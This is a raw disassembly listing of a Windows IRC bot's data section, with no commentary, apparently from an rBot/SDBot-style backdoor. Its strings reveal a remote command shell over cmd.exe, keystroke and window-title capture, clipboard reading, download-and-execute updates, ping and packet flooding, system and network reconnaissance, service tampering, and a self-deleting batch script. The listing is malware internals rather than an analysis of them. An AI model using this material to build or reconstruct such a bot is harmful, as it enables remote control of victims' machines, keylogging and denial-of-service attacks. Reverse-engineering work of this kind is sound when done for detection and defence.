'gethostname',0 ; DATA XREF: sub_407E65+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_407E65+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_407E65+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_407E65+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_407E65+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_407E65+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_407E65+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_407E65+5F9o align 4 aRecv db 'recv',0 ; DATA XREF: sub_407E65+5ECo align 10h aSendto db 'sendto',0 ; DATA XREF: sub_407E65+5DFo align 4 aSend db 'send',0 ; DATA XREF: sub_407E65+5D2o ; sub_40D2E0+220Do align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_407E65+5C5o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_407E65+5B8o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_407E65+5ABo align 4 aHtons db 'htons',0 ; DATA XREF: sub_407E65+59Eo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_407E65+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_407E65+584o align 4 aConnect db 'connect',0 ; DATA XREF: sub_407E65+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_407E65+56Ao aSocket db 'socket',0 ; DATA XREF: sub_407E65+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_407E65+550o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_407E65+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_407E65+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_407E65+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_407E65+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_407E65+50Fo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_407E65+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_407E65+4F6o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_407E65+483o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_407E65+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_407E65+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_407E65+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_407E65+44Fo align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_407E65+442o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_407E65+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_407E65+428o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_407E65+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_407E65:loc_408274o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_407E65:loc_40824Co align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_407E65+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_407E65+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_407E65+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_407E65+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_407E65+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_407E65+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_407E65+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_407E65:loc_40819Eo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_407E65+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_407E65+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_407E65:loc_408159o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_407E65+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_407E65+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_407E65+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_407E65+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_407E65+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_407E65+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_407E65:loc_4080C4o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_407E65+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_407E65+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_407E65+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_407E65:loc_40805Do align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_407E65+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_407E65+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_407E65+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_407E65+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_407E65+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_407E65+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_407E65+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_407E65+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_407E65:loc_407F9Ao ; sub_41F17E+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_407E65:loc_407F6Do align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_407E65+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_407E65+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_407E65+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_407E65+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_407E65+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_407E65+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_407E65+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_407E65+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_407E65+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_407E65+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_407E65+23o align 4 aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_407E65+Ao align 4 unk_428E7C db 2 ; DATA XREF: sub_408AF2+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+1FCo align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_408AF2+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40907B+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_409140+5o ; sub_4140CC+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4091C2+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409266+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409288+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409288+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409288+48o align 10h unk_4290C0 db 2 ; DATA XREF: sub_409448:loc_409507o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 10h unk_429100 db 2 ; DATA XREF: sub_409448:loc_4094D5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 10h unk_429140 db 2 ; DATA XREF: sub_409448:loc_4094A1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_429174 db 2 ; DATA XREF: sub_409448+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_4291B4 db 2 ; DATA XREF: sub_4095CC+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 10h unk_4291F0 db 2 ; DATA XREF: sub_4095CC+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 4 dword_429228 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_409758+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_429264 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_409758+8Eo dd 2BBBB02h aErrorSending_0 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4099D6+33o dword_4292AC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_409A5D:loc_409B8Fo dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_4292EC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_409A5D+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_429324 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_409A5D:loc_409B43o dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_429364 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_409BB2+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 4 dword_4293A8 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_409BB2+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_409BB2+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_409D67+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_409F1E+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_409F1E+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_409F1E:loc_40A082o align 4 word_4294E8 dw 3Fh ; DATA XREF: sub_409F1E:loc_40A020r ; sub_40B6AD+1Fo align 4 dword_4294EC dd 28207325h, 297325h ; DATA XREF: sub_409F1E+EBo dword_4294F4 dd 3F3F3Fh ; DATA XREF: sub_409F1E:loc_409FE1o ; _0:loc_41407Do a2003 db '2003',0 ; DATA XREF: sub_409F1E+BAo align 10h aXp db 'XP',0 ; DATA XREF: sub_409F1E+AAo ; _0:00414068o align 4 a2k db '2K',0 ; DATA XREF: sub_409F1E+98o ; _0:00414058o align 4 aMe db 'ME',0 ; DATA XREF: sub_409F1E+7Eo ; _0:0041403Fo align 4 a98 db '98',0 ; DATA XREF: sub_409F1E+6Co ; _0:0041402Fo align 10h aNt db 'NT',0 ; DATA XREF: sub_409F1E+5Ao ; _0:0041401Fo align 4 a95 db '95',0 ; DATA XREF: sub_409F1E+46o ; _0:00414011o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40A1D2+A4o align 4 off_429558 dd offset loc_412F49+5 ; DATA XREF: sub_40A1D2:loc_40A23Eo off_42955C dd offset dword_4E414C ; DATA XREF: sub_40A1D2:loc_40A234o dword_429560 dd 6C616944h, 70752Dh ; DATA XREF: sub_40A1D2+5Bo dword_429568 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40A1D2+48o unk_429578 db 2 ; DATA XREF: sub_40A291:loc_40A44Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 4 unk_4295B8 db 2 ; DATA XREF: sub_40A291:loc_40A443o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_4295F4 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40A291+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_429620 db 2 ; DATA XREF: sub_40A291:loc_40A424o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42966C dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40A291+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_429698 dd 2A2F2Ah ; DATA XREF: sub_40A291+3Bo dword_42969C dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40A53B+35o dword_4296A8 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40A53B+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40A5B3+60o align 4 dword_4296DC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40A653+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_429704 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40A693+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_429730 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40A693+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_429750 dd 80000002h, 42ADE4h, 80000002h, 42AE14h, 80000001h, 42AE4Ch ; DATA XREF: sub_40A7C2+7o dword_429768 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40A7C2+63o ; sub_40A965+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_4297AC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40A965+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_4297EC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40A965+47o ; sub_40AB26+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 10h dword_429820 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AB26+362o ; sub_40AEC8+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_429848 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AB26+2FAo dd 2BBBB02h aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_429898 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AB26+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_4298CC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AB26+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_4298F4 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40AB26+16Ao dd 169h dword_42990C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AB26+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42993C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AB26+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_429970 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AB26+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_4299A4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AEC8+1D1o dd 2BBBB02h aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 4 dword_4299F8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AEC8+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_429A28 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AEC8+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40AEC8+97o dword_429A68 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40AEC8+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 4 unk_429AA8 db 2 ; DATA XREF: sub_40B105+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_429AE4 db 2 ; DATA XREF: sub_40B105+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_429B2C db 2 ; DATA XREF: sub_40B105+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_429B7C dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40B105+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40B105+336o ; sub_40D2E0+2B48o ... align 10h unk_429BB0 db 2 ; DATA XREF: sub_40B105+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_429BF8 db 2 ; DATA XREF: sub_40B105+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 10h unk_429C30 db 2 ; DATA XREF: sub_40B105+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_429C74 db 2 ; DATA XREF: sub_40B105+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_429CB4 db 2 ; DATA XREF: sub_40B105+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_429CFC db 2 ; DATA XREF: sub_40B105+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_40B6AD:loc_40B6F0o ; sub_40C3BC+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40B6AD:loc_40B6EAo aDisk db 'Disk',0 ; DATA XREF: sub_40B6AD:loc_40B6E4o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40B6AD:loc_40B6DEo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40B6AD:loc_40B6D8o align 4 off_429D5C dd offset word_4D4152 ; DATA XREF: sub_40B6AD:loc_40B6D2o aFailed db 'failed',0 ; DATA XREF: sub_40B73E:loc_40B81Co ; sub_40B862+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_40B73E+6Co align 10h unk_429D70 db 2 ; DATA XREF: sub_40B862+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_429DBC db 2 ; DATA XREF: sub_40B862+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40B934:loc_40B979o dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 dword_429E9C dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40BAE7+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40BAE7+16o ; sub_40D2E0+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40BAE7+Fo ; sub_40D2E0+62Fo align 4 off_429EB8 dd offset aAdd ; DATA XREF: sub_40BB87+60r ; sub_40BF5E+51r ... ; "Add" off_429EBC dd offset aAdded ; DATA XREF: sub_40BB87+2Dr ; sub_40BF5E+83r ... ; "Added" dword_429EC0 dd 0 ; DATA XREF: sub_40BB87+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 429F2Ch, 429F24h, 2, 429F18h, 429F0Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: _2:00429EECo aStop_0 db 'Stop',0 ; 